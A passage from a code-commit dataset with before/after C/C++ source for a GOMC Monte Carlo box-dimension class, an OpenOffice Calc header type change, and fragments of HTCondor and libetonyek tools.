argv[nextarg],\n\t\t\t\t\t\t\t\t\t\t argv[nextarg+1]) < 0) {\n\t\t\t\tfprintf(stderr,\n\t\t\t\t\t\t\"Failed to set attribute \\\"%s\\\" by constraint: %s\\n\",\n\t\t\t\t\t\targv[nextarg], constraint.Value());\n\t\t\t\texit(1);\n\t\t\t}\n\t\t} else {\n\t\t\tif (SetAttribute(cluster, proc, argv[nextarg],\n\t\t\t\t\t\t\t argv[nextarg+1]) < 0) {\n\t\t\t\tfprintf(stderr,\n\t\t\t\t\t\t\"Failed to set attribute \\\"%s\\\" for job %d.%d.\\n\",\n\t\t\t\t\t\targv[nextarg], cluster, proc);\n\t\t\t\texit(1);\n\t\t\t}\n\t\t}\n\t\tprintf(\"Set attribute \\\"%s\\\".\\n\", argv[nextarg]);\n\t}\n\n\tif (!DisconnectQ(q)) {\n\t\tfprintf(stderr,\n\t\t\t\t\"Queue transaction failed. No attributes were set.\\n\");\n\t\texit(1);\n\t}\n\n\treturn 0;\n}\n\n#include \"daemon_core_stubs.h\"\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\nGPU OPTIMIZED MONTE CARLO (GOMC) 2.20\nCopyright (C) 2018 GOMC Group\nA copy of the GNU General Public License can be found in the COPYRIGHT.txt\nalong with this program, also can be found at <http:\/\/www.gnu.org\/licenses\/>.\n********************************************************************************\/\n#include \"BoxDimensionsNonOrth.h\"\n#include \"BoxDimensions.h\"\n#include \"MoveConst.h\" \/\/For cutoff-related fail condition\n\nvoid BoxDimensionsNonOrth::Init(config_setup::RestartSettings const& restart,\n config_setup::Volume const& confVolume,\n pdb_setup::Cryst1 const& cryst,\n double rc, double rcSq)\n{\n rCut = rc;\n rCutSq = rcSq;\n for (uint b = 0; b < BOX_TOTAL; b++) {\n if(restart.enable && cryst.hasVolume) {\n axis = cryst.axis;\n double alpha = cos(cryst.cellAngle[b][0] * M_PI \/ 180.0);\n double beta = cos(cryst.cellAngle[b][1] * M_PI \/ 180.0);\n double gamma = cos(cryst.cellAngle[b][2] * M_PI \/ 180.0);\n if(float(cryst.cellAngle[b][0]) == 90.0)\n alpha = 0.0;\n if(float(cryst.cellAngle[b][1]) == 90.0)\n beta = 0.0;\n if(float(cryst.cellAngle[b][2]) == 90.0)\n gamma = 0.0;\n double cosASq = alpha * alpha;\n double cosBSq = beta * beta;\n double cosGSq = gamma * gamma;\n double temp = (alpha - beta * gamma) \/ (sqrt(1.0 - cosGSq));\n cellBasis[b].Set(0, 1.0, 0.0, 0.0);\n cellBasis[b].Set(1, gamma, sqrt(1.0 - cosGSq), 0.0);\n cellBasis[b].Set(2, beta, temp, sqrt(1.0 - cosBSq - temp * temp));\n cellBasis[b].Scale(0, axis.Get(b).x);\n cellBasis[b].Scale(1, axis.Get(b).y);\n cellBasis[b].Scale(2, axis.Get(b).z);\n } else if(confVolume.hasVolume) {\n confVolume.axis[b].CopyRange(cellBasis[b], 0, 0, 3);\n } else {\n fprintf(stderr,\n \"Error: Cell Basis not specified in PDB or in.dat files.\\n\");\n exit(EXIT_FAILURE);\n }\n \/\/Find the length of a, b, c\n cellLength.Set(b, cellBasis[b].Length(0), cellBasis[b].Length(1),\n cellBasis[b].Length(2));\n \/\/Find Cosine Angle of alpha, beta and gamma\n cosAngle[b][0] = Dot(cellBasis[b].Get(1), cellBasis[b].Get(2)) \/\n (cellLength.Get(b).y * cellLength.Get(b).z);\n cosAngle[b][1] = Dot(cellBasis[b].Get(0), cellBasis[b].Get(2)) \/\n (cellLength.Get(b).x * cellLength.Get(b).z);\n cosAngle[b][2] = Dot(cellBasis[b].Get(0), cellBasis[b].Get(1)) \/\n (cellLength.Get(b).x * cellLength.Get(b).y);\n \/\/Calculate Cross Product\n XYZ axb = Cross(cellBasis[b].Get(0), cellBasis[b].Get(1));\n XYZ bxc = Cross(cellBasis[b].Get(1), cellBasis[b].Get(2));\n XYZ cxa = Cross(cellBasis[b].Get(2), cellBasis[b].Get(0));\n \/\/Calculate volume = A.(B x C)\n volume[b] = abs(Dot(cellBasis[b].Get(0), bxc));\n volInv[b] = 1.0 \/ volume[b];\n \/\/normalizing unitcell\n for(uint i = 0; i < 3; i++) {\n cellBasis[b].Set(i, cellBasis[b].Get(i).Normalize());\n }\n \/\/Calculate the adjoint and determinant\n double det = cellBasis[b].AdjointMatrix(cellBasis_Inv[b]);\n \/\/Calculate the inverse matrix of cell basis\n cellBasis_Inv[b].ScaleRange(0, 3, 1.0 \/ det);\n \/\/Set the axis with unslant cell box\n \/\/XYZ unslant = TransformUnSlant(cellLength.Get(b), b);\n \/\/axis.Set(b, unslant.x, unslant.y, unslant.z);\n axis.Set(b, cellLength[b]);\n }\n \/\/Set half axis\n axis.CopyRange(halfAx, 0, 0, BOX_TOTAL);\n halfAx.ScaleRange(0, BOX_TOTAL, 0.5);\n\n for (uint b = 0; b < BOX_TOTAL; b++) {\n \/\/check to see if initial box size is cubic or not\n cubic[b] = ((axis.x[b] == axis.y[b]) && (axis.y[b] == axis.z[b]));\n \/\/check to see if box is orthogonal or not\n orthogonal[b] = ((cosAngle[b][0] == 0.0) &&\n (cosAngle[b][1] == 0.0) &&\n (cosAngle[b][2] == 0.0));\n }\n constArea = confVolume.cstArea;\n}\n\nvoid BoxDimensionsNonOrth::CalcCellDimensions(const uint b)\n{\n \/\/normalizing unitcell\n for(uint i = 0; i < 3; i++) {\n cellBasis[b].Set(i, cellBasis[b].Get(i).Normalize());\n }\n \/\/Calculate the adjoint and determinant\n double det = cellBasis[b].AdjointMatrix(cellBasis_Inv[b]);\n \/\/Calculate the inverse matrix of cell basis\n cellBasis_Inv[b].ScaleRange(0, 3, 1.0 \/ det);\n}\n\n\nBoxDimensionsNonOrth& BoxDimensionsNonOrth::operator=(BoxDimensionsNonOrth const& other)\n{\n for (uint b = 0; b < BOX_TOTAL; ++b) {\n other.cellBasis[b].CopyRange(cellBasis[b], 0, 0, 3);\n other.cellBasis_Inv[b].CopyRange(cellBasis_Inv[b], 0, 0, 3);\n volume[b] = other.volume[b];\n volInv[b] = other.volInv[b];\n cubic[b] = other.cubic[b];\n orthogonal[b] = other.orthogonal[b];\n for(uint i = 0; i < 0; i++) {\n cosAngle[b][i] = other.cosAngle[b][i];\n }\n }\n other.axis.CopyRange(axis, 0, 0, BOX_TOTAL);\n other.halfAx.CopyRange(halfAx, 0, 0, BOX_TOTAL);\n other.cellLength.CopyRange(cellLength, 0, 0, BOX_TOTAL);\n rCut = other.rCut;\n rCutSq = other.rCutSq;\n constArea = other.constArea;\n return *this;\n}\n\n\nuint BoxDimensionsNonOrth::ShiftVolume(BoxDimensionsNonOrth & newDim,\n XYZ & scale, const uint b,\n const double delta) const\n{\n uint rejectState = mv::fail_state::NO_FAIL;\n double newVolume = volume[b] + delta;\n newDim = *this;\n newDim.SetVolume(b, newVolume);\n\n \/\/If move would shrink any box axis to be less than 2 * rcut, then\n \/\/automatically reject to prevent errors.\n if ((newDim.halfAx.x[b] < rCut || newDim.halfAx.y[b] < rCut ||\n newDim.halfAx.z[b] < rCut)) {\n std::cout << \"WARNING!!! box shrunk below 2*Rcut! Auto-rejecting!\"\n << std::endl;\n rejectState = mv::fail_state::VOL_TRANS_WOULD_SHRINK_BOX_BELOW_CUTOFF;\n }\n scale = newDim.axis.Get(b) \/ axis.Get(b);\n\n return rejectState;\n}\n\nuint BoxDimensionsNonOrth::ExchangeVolume(BoxDimensionsNonOrth & newDim,\n XYZ * scale,\n const double transfer) const\n{\n uint state = mv::fail_state::NO_FAIL;\n double vTot = GetTotVolume();\n newDim = *this;\n\n newDim.SetVolume(0, volume[0] + transfer);\n newDim.SetVolume(1, vTot - newDim.volume[0]);\n\n \/\/If move would shrink any box axis to be less than 2 * rcut, then\n \/\/automatically reject to prevent errors.\n for (uint b = 0; b < BOX_TOTAL && state == mv::fail_state::NO_FAIL; b++) {\n scale[b] = newDim.axis.Get(b) \/ axis.Get(b);\n if ((newDim.halfAx.x[b] < rCut || newDim.halfAx.y[b] < rCut ||\n newDim.halfAx.z[b] < rCut)) {\n std::cout << \"WARNING!!! box shrunk below 2*Rcut! Auto-rejecting!\"\n << std::endl;\n state = state && mv::fail_state::VOL_TRANS_WOULD_SHRINK_BOX_BELOW_CUTOFF;\n }\n }\n return state;\n}\n\n\nvoid BoxDimensionsNonOrth::SetVolume(const uint b, const double vol)\n{\n if(constArea) {\n double ratio = vol \/ volume[b];\n axis.Scale(b, 1.0, 1.0, ratio);\n halfAx.Scale(b, 1.0, 1.0, ratio);\n cellLength.Scale(b, 1.0, 1.0, ratio);\n \/\/Keep a and b same and change c\n cellBasis[b].Scale(2, ratio);\n } else {\n double ratio = pow(vol \/ volume[b], (1.0 \/ 3.0));\n axis.Scale(b, ratio);\n halfAx.Scale(b, ratio);\n cellLength.Scale(b, ratio);\n for(uint i = 0; i < 0; i++) {\n cellBasis[b].Scale(i, ratio);\n }\n }\n volume[b] = vol;\n volInv[b] = 1.0 \/ volume[b];\n \/\/Calculate new cell dimension\n CalcCellDimensions(b);\n}\n\nXYZ BoxDimensionsNonOrth::MinImage(XYZ rawVecRef, const uint b) const\n{\n XYZ rawVec = TransformUnSlant(rawVecRef, b);\n rawVecRef = BoxDimensions:: MinImage(rawVec, b);\n rawVecRef = TransformSlant(rawVecRef, b);\n return rawVecRef;\n}\n\nvoid BoxDimensionsNonOrth::WrapPBC(double &x, double &y, double &z,\n const uint b) const\n{\n \/\/convert XYZ to unslant\n XYZ unwrap(x, y, z);\n XYZ unslant = TransformUnSlant(unwrap, b);\n BoxDimensions::WrapPBC(unslant.x, axis.x[b]);\n BoxDimensions::WrapPBC(unslant.y, axis.y[b]);\n BoxDimensions::WrapPBC(unslant.z, axis.z[b]);\n \/\/convert XYZ to slant\n XYZ slant = TransformSlant(unslant, b);\n x = slant.x;\n y = slant.y;\n z = slant.z;\n}\n\nvoid BoxDimensionsNonOrth::UnwrapPBC(double & x, double & y, double & z,\n const uint b, XYZ const& ref) const\n{\n \/\/convert XYZ to unslant\n XYZ wrap(x, y, z);\n XYZ unslant = TransformUnSlant(wrap, b);\n XYZ unslantRef = TransformUnSlant(ref, b);\n BoxDimensions::UnwrapPBC(unslant.x, unslantRef.x, axis.x[b], halfAx.x[b]);\n BoxDimensions::UnwrapPBC(unslant.y, unslantRef.y, axis.y[b], halfAx.y[b]);\n BoxDimensions::UnwrapPBC(unslant.z, unslantRef.z, axis.z[b], halfAx.z[b]);\n XYZ unwrap(x, y, z);\n \/\/convert XYZ to slant\n XYZ slant = TransformSlant(unslant, b);\n x = slant.x;\n y = slant.y;\n z = slant.z;\n}<commit_msg>error fix<commit_after>\/*******************************************************************************\nGPU OPTIMIZED MONTE CARLO (GOMC) 2.20\nCopyright (C) 2018 GOMC Group\nA copy of the GNU General Public License can be found in the COPYRIGHT.txt\nalong with this program, also can be found at <http:\/\/www.gnu.org\/licenses\/>.\n********************************************************************************\/\n#include \"BoxDimensionsNonOrth.h\"\n#include \"BoxDimensions.h\"\n#include \"GeomLib.h\"\n#include \"MoveConst.h\" \/\/For cutoff-related fail condition\n\nusing namespace geom;\n\nvoid BoxDimensionsNonOrth::Init(config_setup::RestartSettings const& restart,\n config_setup::Volume const& confVolume,\n pdb_setup::Cryst1 const& cryst,\n double rc, double rcSq)\n{\n rCut = rc;\n rCutSq = rcSq;\n for (uint b = 0; b < BOX_TOTAL; b++) {\n if(restart.enable && cryst.hasVolume) {\n axis = cryst.axis;\n double alpha = cos(cryst.cellAngle[b][0] * M_PI \/ 180.0);\n double beta = cos(cryst.cellAngle[b][1] * M_PI \/ 180.0);\n double gamma = cos(cryst.cellAngle[b][2] * M_PI \/ 180.0);\n if(float(cryst.cellAngle[b][0]) == 90.0)\n alpha = 0.0;\n if(float(cryst.cellAngle[b][1]) == 90.0)\n beta = 0.0;\n if(float(cryst.cellAngle[b][2]) == 90.0)\n gamma = 0.0;\n double cosASq = alpha * alpha;\n double cosBSq = beta * beta;\n double cosGSq = gamma * gamma;\n double temp = (alpha - beta * gamma) \/ (sqrt(1.0 - cosGSq));\n cellBasis[b].Set(0, 1.0, 0.0, 0.0);\n cellBasis[b].Set(1, gamma, sqrt(1.0 - cosGSq), 0.0);\n cellBasis[b].Set(2, beta, temp, sqrt(1.0 - cosBSq - temp * temp));\n cellBasis[b].Scale(0, axis.Get(b).x);\n cellBasis[b].Scale(1, axis.Get(b).y);\n cellBasis[b].Scale(2, axis.Get(b).z);\n } else if(confVolume.hasVolume) {\n confVolume.axis[b].CopyRange(cellBasis[b], 0, 0, 3);\n } else {\n fprintf(stderr,\n \"Error: Cell Basis not specified in PDB or in.dat files.\\n\");\n exit(EXIT_FAILURE);\n }\n \/\/Find the length of a, b, c\n cellLength.Set(b, cellBasis[b].Length(0), cellBasis[b].Length(1),\n cellBasis[b].Length(2));\n \/\/Find Cosine Angle of alpha, beta and gamma\n cosAngle[b][0] = Dot(cellBasis[b].Get(1), cellBasis[b].Get(2)) \/\n (cellLength.Get(b).y * cellLength.Get(b).z);\n cosAngle[b][1] = Dot(cellBasis[b].Get(0), cellBasis[b].Get(2)) \/\n (cellLength.Get(b).x * cellLength.Get(b).z);\n cosAngle[b][2] = Dot(cellBasis[b].Get(0), cellBasis[b].Get(1)) \/\n (cellLength.Get(b).x * cellLength.Get(b).y);\n \/\/Calculate Cross Product\n XYZ axb = Cross(cellBasis[b].Get(0), cellBasis[b].Get(1));\n XYZ bxc = Cross(cellBasis[b].Get(1), cellBasis[b].Get(2));\n XYZ cxa = Cross(cellBasis[b].Get(2), cellBasis[b].Get(0));\n \/\/Calculate volume = A.(B x C)\n volume[b] = abs(Dot(cellBasis[b].Get(0), bxc));\n volInv[b] = 1.0 \/ volume[b];\n \/\/normalizing unitcell\n for(uint i = 0; i < 3; i++) {\n cellBasis[b].Set(i, cellBasis[b].Get(i).Normalize());\n }\n \/\/Calculate the adjoint and determinant\n double det = cellBasis[b].AdjointMatrix(cellBasis_Inv[b]);\n \/\/Calculate the inverse matrix of cell basis\n cellBasis_Inv[b].ScaleRange(0, 3, 1.0 \/ det);\n \/\/Set the axis with unslant cell box\n \/\/XYZ unslant = TransformUnSlant(cellLength.Get(b), b);\n \/\/axis.Set(b, unslant.x, unslant.y, unslant.z);\n axis.Set(b, cellLength[b]);\n }\n \/\/Set half axis\n axis.CopyRange(halfAx, 0, 0, BOX_TOTAL);\n halfAx.ScaleRange(0, BOX_TOTAL, 0.5);\n\n for (uint b = 0; b < BOX_TOTAL; b++) {\n \/\/check to see if initial box size is cubic or not\n cubic[b] = ((axis.x[b] == axis.y[b]) && (axis.y[b] == axis.z[b]));\n \/\/check to see if box is orthogonal or not\n orthogonal[b] = ((cosAngle[b][0] == 0.0) &&\n (cosAngle[b][1] == 0.0) &&\n (cosAngle[b][2] == 0.0));\n }\n constArea = confVolume.cstArea;\n}\n\nvoid BoxDimensionsNonOrth::CalcCellDimensions(const uint b)\n{\n \/\/normalizing unitcell\n for(uint i = 0; i < 3; i++) {\n cellBasis[b].Set(i, cellBasis[b].Get(i).Normalize());\n }\n \/\/Calculate the adjoint and determinant\n double det = cellBasis[b].AdjointMatrix(cellBasis_Inv[b]);\n \/\/Calculate the inverse matrix of cell basis\n cellBasis_Inv[b].ScaleRange(0, 3, 1.0 \/ det);\n}\n\n\nBoxDimensionsNonOrth& BoxDimensionsNonOrth::operator=(BoxDimensionsNonOrth const& other)\n{\n for (uint b = 0; b < BOX_TOTAL; ++b) {\n other.cellBasis[b].CopyRange(cellBasis[b], 0, 0, 3);\n other.cellBasis_Inv[b].CopyRange(cellBasis_Inv[b], 0, 0, 3);\n volume[b] = other.volume[b];\n volInv[b] = other.volInv[b];\n cubic[b] = other.cubic[b];\n orthogonal[b] = other.orthogonal[b];\n for(uint i = 0; i < 0; i++) {\n cosAngle[b][i] = other.cosAngle[b][i];\n }\n }\n other.axis.CopyRange(axis, 0, 0, BOX_TOTAL);\n other.halfAx.CopyRange(halfAx, 0, 0, BOX_TOTAL);\n other.cellLength.CopyRange(cellLength, 0, 0, BOX_TOTAL);\n rCut = other.rCut;\n rCutSq = other.rCutSq;\n constArea = other.constArea;\n return *this;\n}\n\n\nuint BoxDimensionsNonOrth::ShiftVolume(BoxDimensionsNonOrth & newDim,\n XYZ & scale, const uint b,\n const double delta) const\n{\n uint rejectState = mv::fail_state::NO_FAIL;\n double newVolume = volume[b] + delta;\n newDim = *this;\n newDim.SetVolume(b, newVolume);\n\n \/\/If move would shrink any box axis to be less than 2 * rcut, then\n \/\/automatically reject to prevent errors.\n if ((newDim.halfAx.x[b] < rCut || newDim.halfAx.y[b] < rCut ||\n newDim.halfAx.z[b] < rCut)) {\n std::cout << \"WARNING!!! box shrunk below 2*Rcut! Auto-rejecting!\"\n << std::endl;\n rejectState = mv::fail_state::VOL_TRANS_WOULD_SHRINK_BOX_BELOW_CUTOFF;\n }\n scale = newDim.axis.Get(b) \/ axis.Get(b);\n\n return rejectState;\n}\n\nuint BoxDimensionsNonOrth::ExchangeVolume(BoxDimensionsNonOrth & newDim,\n XYZ * scale,\n const double transfer) const\n{\n uint state = mv::fail_state::NO_FAIL;\n double vTot = GetTotVolume();\n newDim = *this;\n\n newDim.SetVolume(0, volume[0] + transfer);\n newDim.SetVolume(1, vTot - newDim.volume[0]);\n\n \/\/If move would shrink any box axis to be less than 2 * rcut, then\n \/\/automatically reject to prevent errors.\n for (uint b = 0; b < BOX_TOTAL && state == mv::fail_state::NO_FAIL; b++) {\n scale[b] = newDim.axis.Get(b) \/ axis.Get(b);\n if ((newDim.halfAx.x[b] < rCut || newDim.halfAx.y[b] < rCut ||\n newDim.halfAx.z[b] < rCut)) {\n std::cout << \"WARNING!!! box shrunk below 2*Rcut! Auto-rejecting!\"\n << std::endl;\n state = state && mv::fail_state::VOL_TRANS_WOULD_SHRINK_BOX_BELOW_CUTOFF;\n }\n }\n return state;\n}\n\n\nvoid BoxDimensionsNonOrth::SetVolume(const uint b, const double vol)\n{\n if(constArea) {\n double ratio = vol \/ volume[b];\n axis.Scale(b, 1.0, 1.0, ratio);\n halfAx.Scale(b, 1.0, 1.0, ratio);\n cellLength.Scale(b, 1.0, 1.0, ratio);\n \/\/Keep a and b same and change c\n cellBasis[b].Scale(2, ratio);\n } else {\n double ratio = pow(vol \/ volume[b], (1.0 \/ 3.0));\n axis.Scale(b, ratio);\n halfAx.Scale(b, ratio);\n cellLength.Scale(b, ratio);\n for(uint i = 0; i < 0; i++) {\n cellBasis[b].Scale(i, ratio);\n }\n }\n volume[b] = vol;\n volInv[b] = 1.0 \/ volume[b];\n \/\/Calculate new cell dimension\n CalcCellDimensions(b);\n}\n\nXYZ BoxDimensionsNonOrth::MinImage(XYZ rawVecRef, const uint b) const\n{\n XYZ rawVec = TransformUnSlant(rawVecRef, b);\n rawVecRef = BoxDimensions:: MinImage(rawVec, b);\n rawVecRef = TransformSlant(rawVecRef, b);\n return rawVecRef;\n}\n\nvoid BoxDimensionsNonOrth::WrapPBC(double &x, double &y, double &z,\n const uint b) const\n{\n \/\/convert XYZ to unslant\n XYZ unwrap(x, y, z);\n XYZ unslant = TransformUnSlant(unwrap, b);\n BoxDimensions::WrapPBC(unslant.x, axis.x[b]);\n BoxDimensions::WrapPBC(unslant.y, axis.y[b]);\n BoxDimensions::WrapPBC(unslant.z, axis.z[b]);\n \/\/convert XYZ to slant\n XYZ slant = TransformSlant(unslant, b);\n x = slant.x;\n y = slant.y;\n z = slant.z;\n}\n\nvoid BoxDimensionsNonOrth::UnwrapPBC(double & x, double & y, double & z,\n const uint b, XYZ const& ref) const\n{\n \/\/convert XYZ to unslant\n XYZ wrap(x, y, z);\n XYZ unslant = TransformUnSlant(wrap, b);\n XYZ unslantRef = TransformUnSlant(ref, b);\n BoxDimensions::UnwrapPBC(unslant.x, unslantRef.x, axis.x[b], halfAx.x[b]);\n BoxDimensions::UnwrapPBC(unslant.y, unslantRef.y, axis.y[b], halfAx.y[b]);\n BoxDimensions::UnwrapPBC(unslant.z, unslantRef.z, axis.z[b], halfAx.z[b]);\n XYZ unwrap(x, y, z);\n \/\/convert XYZ to slant\n XYZ slant = TransformSlant(unslant, b);\n x = slant.x;\n y = slant.y;\n z = slant.z;\n}<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: editable.hxx,v $\n *\n * $Revision: 1.1 $\n *\n * last change: $Author: nn $ $Date: 2002-11-20 14:32:18 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_EDITABLE_HXX\n#define SC_EDITABLE_HXX\n\n#ifndef _SOLAR_H\n#include <tools\/solar.h>\n#endif\n\nclass ScDocument;\nclass ScViewFunc;\nclass ScMarkData;\nclass ScRange;\n\n\nclass ScEditableTester\n{\n BOOL bIsEditable;\n BOOL bOnlyMatrix;\n\npublic:\n \/\/ no test in ctor\n ScEditableTester();\n\n \/\/ calls TestBlock\n ScEditableTester( ScDocument* pDoc, USHORT nTab,\n USHORT nStartCol, USHORT nStartRow, USHORT nEndCol, USHORT nEndRow );\n\n \/\/ calls TestSelectedBlock\n ScEditableTester( ScDocument* pDoc,\n USHORT nStartCol, USHORT nStartRow, USHORT nEndCol, USHORT nEndRow,\n const ScMarkData& rMark );\n\n \/\/ calls TestRange\n ScEditableTester( ScDocument* pDoc, const ScRange& rRange );\n\n \/\/ calls TestSelection\n ScEditableTester( ScDocument* pDoc, const ScMarkData& rMark );\n\n \/\/ calls TestView\n ScEditableTester( ScViewFunc* pView );\n\n ~ScEditableTester() {}\n\n \/\/ Several calls to the Test... methods check if *all* of the ranges\n \/\/ are editable. For several independent checks, Reset() has to be used.\n void TestBlock( ScDocument* pDoc, USHORT nTab,\n USHORT nStartCol, USHORT nStartRow, USHORT nEndCol, USHORT nEndRow );\n void TestSelectedBlock( ScDocument* pDoc,\n USHORT nStartCol, USHORT nStartRow, USHORT nEndCol, USHORT nEndRow,\n const ScMarkData& rMark );\n void TestRange( ScDocument* pDoc, const ScRange& rRange );\n void TestSelection( ScDocument* pDoc, const ScMarkData& rMark );\n void TestView( ScViewFunc* pView );\n\n void Reset();\n\n BOOL IsEditable() const { return bIsEditable; }\n BOOL IsFormatEditable() const { return bIsEditable || bOnlyMatrix; }\n USHORT GetMessageId() const;\n};\n\n#endif\n\n<commit_msg>INTEGRATION: CWS rowlimit (1.1.302); FILE MERGED 2004\/01\/13 20:04:15 er 1.1.302.1: #i1967# SCCOL,SCROW,SCTAB replace USHORT; SCsCOL,SCsROW,SCsTAB replace short<commit_after>\/*************************************************************************\n *\n * $RCSfile: editable.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: obo $ $Date: 2004-06-04 11:33:11 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_EDITABLE_HXX\n#define SC_EDITABLE_HXX\n\n#ifndef SC_ADDRESS_HXX\n#include \"address.hxx\"\n#endif\n\n#ifndef _SOLAR_H\n#include <tools\/solar.h>\n#endif\n\nclass ScDocument;\nclass ScViewFunc;\nclass ScMarkData;\nclass ScRange;\n\n\nclass ScEditableTester\n{\n BOOL bIsEditable;\n BOOL bOnlyMatrix;\n\npublic:\n \/\/ no test in ctor\n ScEditableTester();\n\n \/\/ calls TestBlock\n ScEditableTester( ScDocument* pDoc, SCTAB nTab,\n SCCOL nStartCol, SCROW nStartRow, SCCOL nEndCol, SCROW nEndRow );\n\n \/\/ calls TestSelectedBlock\n ScEditableTester( ScDocument* pDoc,\n SCCOL nStartCol, SCROW nStartRow, SCCOL nEndCol, SCROW nEndRow,\n const ScMarkData& rMark );\n\n \/\/ calls TestRange\n ScEditableTester( ScDocument* pDoc, const ScRange& rRange );\n\n \/\/ calls TestSelection\n ScEditableTester( ScDocument* pDoc, const ScMarkData& rMark );\n\n \/\/ calls TestView\n ScEditableTester( ScViewFunc* pView );\n\n ~ScEditableTester() {}\n\n \/\/ Several calls to the Test... methods check if *all* of the ranges\n \/\/ are editable. For several independent checks, Reset() has to be used.\n void TestBlock( ScDocument* pDoc, SCTAB nTab,\n SCCOL nStartCol, SCROW nStartRow, SCCOL nEndCol, SCROW nEndRow );\n void TestSelectedBlock( ScDocument* pDoc,\n SCCOL nStartCol, SCROW nStartRow, SCCOL nEndCol, SCROW nEndRow,\n const ScMarkData& rMark );\n void TestRange( ScDocument* pDoc, const ScRange& rRange );\n void TestSelection( ScDocument* pDoc, const ScMarkData& rMark );\n void TestView( ScViewFunc* pView );\n\n void Reset();\n\n BOOL IsEditable() const { return bIsEditable; }\n BOOL IsFormatEditable() const { return bIsEditable || bOnlyMatrix; }\n USHORT GetMessageId() const;\n};\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/*\n * This file is part of the libetonyek project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\n#include <libwpd-stream\/libwpd-stream.h>\n#include <libwpd\/libwpd.h>\n#include <libetonyek\/libetonyek.h>\n\n#include \"KEYDirectoryStream.h\"\n\nclass TextPainter : public libetonyek::KEYPresentationInterface\n{\npublic:\n TextPainter();\n\n virtual void startDocument(const ::WPXPropertyList &propList);\n virtual void endDocument();\n virtual void setDocumentMetaData(const ::WPXPropertyList &propList);\n virtual void startSlide(const ::WPXPropertyList &propList);\n virtual void endSlide();\n virtual void startLayer(const ::WPXPropertyList &propList);\n virtual void endLayer();\n virtual void startEmbeddedGraphics(const ::WPXPropertyList &propList);\n virtual void endEmbeddedGraphics();\n virtual void startGroup(const ::WPXPropertyList &propList);\n virtual void endGroup();\n\n virtual void setStyle(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &gradient);\n\n virtual void drawRectangle(const ::WPXPropertyList &propList);\n virtual void drawEllipse(const ::WPXPropertyList &propList);\n virtual void drawPolyline(const ::WPXPropertyListVector &vertices);\n virtual void drawPolygon(const ::WPXPropertyListVector &vertices);\n virtual void drawPath(const ::WPXPropertyListVector &path);\n virtual void drawGraphicObject(const ::WPXPropertyList &propList, const ::WPXBinaryData &binaryData);\n 